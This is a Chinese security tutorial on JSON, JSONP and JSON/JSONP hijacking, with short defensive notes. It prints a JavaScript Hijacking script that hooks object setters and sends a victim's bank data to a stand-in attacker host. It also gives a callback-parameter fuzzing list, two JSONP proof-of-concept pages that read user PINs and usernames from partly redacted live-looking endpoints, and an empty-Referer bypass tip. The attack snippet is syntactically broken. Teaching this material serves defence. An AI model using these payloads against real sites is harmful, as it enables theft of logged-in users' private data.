美文网首页
json及jsonp注入

json及jsonp注入

作者: 帅猪佩奇 | 来源:发表于2018-12-06 16:12 被阅读28次


    json以及jsonp

    前言 

    JSONP全名为JSON with Padding,其存在的意义便有绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

    JSONP(JSON with Padding)是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。

    JSONP注入是一个不太常见但影响非常广泛且极危险的漏洞,由于最近几年对JSON, web APIs以及跨域通信的需求增多,不得不引起我们的重视。

    json基础 

    JSON能够以非常简单的方式来描述数据结构,XML能做的它都能做,因此在跨平台方面两者完全不分伯仲。

    1、JSON只有两种数据类型描述符,大括号{}和方括号[],其余英文冒号:是映射符,英文逗号,是分隔符,英文双引号”“是定义符。

    2、大括号{}用来描述一组“不同类型的无序键值对集合”(每个键值对可以理解为OOP的属性描述),方括号[]用来描述一组“相同类型的有序数据集合”(可对应OOP的数组)。

    3、上述两种集合中若有多个子项,则通过英文逗号,进行分隔。

    4、键值对以英文冒号:进行分隔,并且建议键名都加上英文双引号”“,以便于不同语言的解析。

    5、JSON内部常用数据类型无非就是字符串、数字、布尔、日期、null 这么几个,字符串必须用双引号引起来,其余的都不用,日期类型比较特殊,这里就不展开讲述了,只是建议如果客户端没有按日期排序功能需求的话,那么把日期时间直接作为字符串传递就好,可以省去很多麻烦。

    json实例 

        // 描述一个人 

        var person = {

            "Name": "Bob", 

            "Age": 32, 

            "Company": "IBM", 

            "Engineer": true } 

        // 获取这个人的信息 

        var personAge = person.Age; 

        // 描述几个人 

        var members = [ 

        { 

            "Name": "Bob", 

            "Age": 32, 

            "Company": "IBM", 

            "Engineer": true 

        }, 

        { 

            "Name": "John", 

            "Age": 20, 

            "Company": "Oracle", 

            "Engineer": false 

        },

         {

             "Name": "Henry", 

            "Age": 45,

             "Company": "Microsoft",

    "Engineer": false

        }

                     ] 

        // 读取其中John的公司名称 

        var johnsCompany = members[1].Company; 

        // 描述一次会议 

        var conference = { 

        "Conference": "Future Marketing", 

        "Date": "2012-6-1", 

        "Address": "Beijing", 

        "Members": 

        [ 

            { 

                "Name": "Bob", 

                "Age": 32, 

                "Company": "IBM", 

                "Engineer": true

             }, 

            { 

                "Name": "John", 

                "Age": 20, 

                "Company": "Oracle", 

                "Engineer": false 

            }, 

            { 

                "Name": "Henry", 

                "Age": 45, 

                "Company": "Microsoft", 

                "Engineer": false 

            } 

        ] 

                    } 

        // 读取参会者Henry是否工程师 

        var henryIsAnEngineer = conference.Members[2].Engineer;

    什么是jsonp 

    1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准;

    2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如script、img、iframe);

    3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理;

    4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据;

    5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。  (重点--简而言之。我们要加载远程文件而js又可以跨域,那么我们跨域调用远程js文件,便可以实现同源策略之下的跨域)

    6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。

    7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

    jsonp跨域实例

    前端

    jsonp.html

        <!DOCTYPE html> 

        <html>

        <body>

        <p>jsonp测试页面</p>

        <meta charset="utf-8"  content="text/html; charset=gb2312"/>

        <head> <title></title> <script type="text/javascript">

            // 得到航班信息查询结果后的回调函数

            var flightHandler = function(data){

                alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');

            };

            // 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)

            var url = "http://127.0.0.1/999.js?code=CA1998&callback=flightHandler";//这里我们直接写在了js里传参,很多是在get的方式url里传参,而不是固定好了的。

            // 创建script标签,设置其属性

            var script = document.createElement('script');

            script.setAttribute('src', url);

            // 把script标签加入head,此时调用开始

            document.getElementsByTagName('head')[0].appendChild(script); 

        </body>

        </html>

    后端则有一个规则生成了一段这样的代码提供给jsonp.html(服务端的实现这里就不演示了,与你选用的语言无关,说到底就是拼接字符串):

    示例固定的写一个json

        flightHandler({

    "code": "CA1998",

    "price": 1780,

    "tickets": 5

        });

    效果:

    通过上述描述可以知道,若想实现JSONP,除了前端部分之外,还需要后端的配合,后端需返回符合JSONP要求的数据。

    比如java可以这样写:

        Map<String,String> map = new HashMap<String,String>();  

        map.put("result", "content");  

        String resultJSON = JSONObject.toJSONString(map);   

        try {   

            PrintWriter out = response.getWriter();   

            String jsonpCallback = request.getParameter("jsonpCallback");//回调函数   

            out.println(jsonpCallback+"("+resultJSON+")");//返回jsonp格式数据 ,要用callback包装下  

            out.flush();   

            out.close();   

        } 

        catch (Exception e)   

        { e.printStackTrace(); }  

    json劫持 

    原理

    (1).你正常访问信任站点(http://www.Bank.com),然后登陆信任站点。

    (2).信任站点通过你的验证,并返回Cookie。

    (3).这时,在你还没有登出信任站点之前,你再打开了一个浏览器的tab页,并访问了一个恶意站点(www.BadGuy.com)。

    (4).恶意站点向请求用户访问http://www.Bank.com的一个资源。

    (5).浏览器带着之前的Cookie信息,向信任站点http://www.Bank.com发出了一个GET请求。

    (6).信任站点验证的Cookie信息通过,根据请求返回一个JSON数组(如果不清楚JSON,可以参考《JSON入门指南》)。

    (7).你的浏览器收到来自http://www.Bank.com的响应后,转发响应中的JSON信息给恶意站点。

    至此,恶意站点拿到你关于http://www.Bank.com的信息。

    到这里,你应该有对JavaScript Hijacking有一个大概的概念,它确实和CSRF很相像,唯一不同的是,CSRF是模拟你的身份去发送请求,JavaScript Hijacking是模拟你的身份,窃取你在服务器上的私隐信息。

    JavaScript Hijacking攻击示范代码:

    演示代码之前,首先明确几点:

    (1).恶意站点的攻击目标是明确的(这里目标就是http://www.Bank.com)。

    (2).恶意站点是通过用户给它返回信任网站的JSON数组(为什么是JSON数组?普通的JSON对象不行么?这个下面会提到!),从而获取用户私隐信息的。也就是说所谓的隐私数据,也就是这些JSON数组里面的数据,所以信任站点返回的不是JSON数组的数据或者JSON里面的信息是垃圾信息,那么这个恶意站点是徒劳的。

    (3).恶意站点必须实先知道用户返回的JSON的结构。

    (4).恶意站点能且只能发送GET请求......

    (5).这种攻击是需要浏览器支持的,至于为什么看下面吧。

    恩,下面看一下攻击代码吧:>

    这个恶意站点www.BadGuy.com针对www.Bank.com的攻击代码:

        <script type="text/javascript">

        Object.prototype.__defineSetter__('money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );

        </script>

        <script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

    在用户访问恶意网站时:

        <script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

    (1).这段JS代码会要求浏览器发送一个GET请求到http://www.Bank.com/UserInfo,于是浏览器按照指示,带上本地的Cookie信息,发送一个http的GET请求。

    (2).www.Bank.Com接受到请求后,确认身份后,响应请求返回了一个JSON数组/JavaScript代码段。

    (3).客户端接受到这段JS脚本后,如果返回的是一个JSON数组,比如:

        [{"Id":3,"Name":hyddd,"Money":10000}]

    JSON数组被认为是一段可执行的JavaScript脚本,于是浏览器会解析执行。

    如果返回的是一个JSON对象呢?

        {"Id":3,"Name":hyddd,"Money":10000}

    呵呵,这个是不会被浏览器执行的,因为浏览器认为:它不是一个JavaScript脚本。

    如果它返回的是一个JavaScript脚本的话,恩,这得具体问题具体分析了,不一定能拿到什么数据。

    (4).看下面这段JavaScript脚本:

        <script type="text/javascript">

        Object.prototype.__defineSetter__('Money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );

        </script>

    它的作用就是发送受害者的私隐信息到恶意站点的。

    这里可能有人不理解,我大概说一下:

    Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把这个称为JavaScript函数劫持,注意JavaScript的函数劫持和JavaScript Hijacking不是同一个概念,JavaScript Hijacking的核心思想和CSRF攻击的核心思想应该是一致的),这里是对Object的Money属性设置了一个Hook,在JavaScript中,由于其他的对象都是派生自Object的,所以这段代码就对所有对象的Money属性都做了一个Hook,当有对象设置它的Money属性时,都会触发上面这段代码的运行。注意的是:__defineSetter__这个在IE系列的浏览器好像是不受支持的(在IE6下试了不行),但FireFox系列的浏览器是肯定支持的。

    后面的var objString=""...这就是发送受害者信息到恶意站点了,这里不说了。

    当浏览器解析(3)中的JSON数组时,会新建一个对象并赋值,这时候就出发了上面这段代码,结果私隐信息就发送到恶意站点了。

    通过

        Object.prototype.__defineSetter__

    这个函数来触发自己的恶意代码。

    但是这个函数在当前的新版本chrome和firefox中都已经失效了。

    解决方法 

    1、验证 HTTP Referer 头信息;

    2、在请求中添加 csrfToken 并在后端进行验证;

    jsonp劫持

    寻找jsonp的接口 

    1.burp抓包,一般有jsonp的数据传输会在mimetype中显示为script,通过排序可以快速得找到

    2.火狐控制台查找包

    3.fuzz

    如果jsonp的接口没有敏感信息传输,json数据包中恰好有的话,我们可以尝试一下程序员是否有开发jsonp的格式,大多数程序员喜欢把jsonp的回传参数命名为callback

    当然还有其他的可能,字典用Intruder Fuzz一下试试:

        callback=attack

        cb=attack

        call=attack

        jsonp=attack

        jsonpcallback=attack

        jsonpcb=attack

        json=attack

        jsoncallback=attack

        jcb=attack

    某云实例 

    复制到url里便可以检验是否存在jsonp接口漏洞。

    修改callback原函数便可将json数据全部显示出来,一些敏感信息。

    poc

        <script>

        function peiqi(json){

            alert(json.result.pin)

        }

        </script>

        <script src="https://xx.xx.xx.xx/menu/getUserMenu?callback=peiqi"></script>

    poc可以继续构造制定发送到自己的页面,可见jsonp的原理与csrf基本为一致的,利用用户的身份来做一些事情,或者发送自己的信息给别人,

    某X jsonp

    POC

        <script>

        function peiqi(json){

            alert(json.userName)

        }

        </script>

        <script src="http://XX.XXXXX.com/checkLogin?callback=peiqi&_=15436278817"></script>

    目前挖掘jsonp 一般是F12 寻找callback函数,推荐一款自动检测XSS jsonp的谷歌插件 XssSniper

    绕过

    一些对referer 进行验证,但是有的时候空referer可以绕过验证。

    ---

    参考:https://blog.csdn.net/yjclsx/article/details/80340901

    参考:http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html

    参考:https://shiyousan.com/post/635441704246553316

    相关文章

      网友评论

          本文标题:json及jsonp注入

          本文链接:https://www.haomeiwen.com/subject/nlpocqtx.html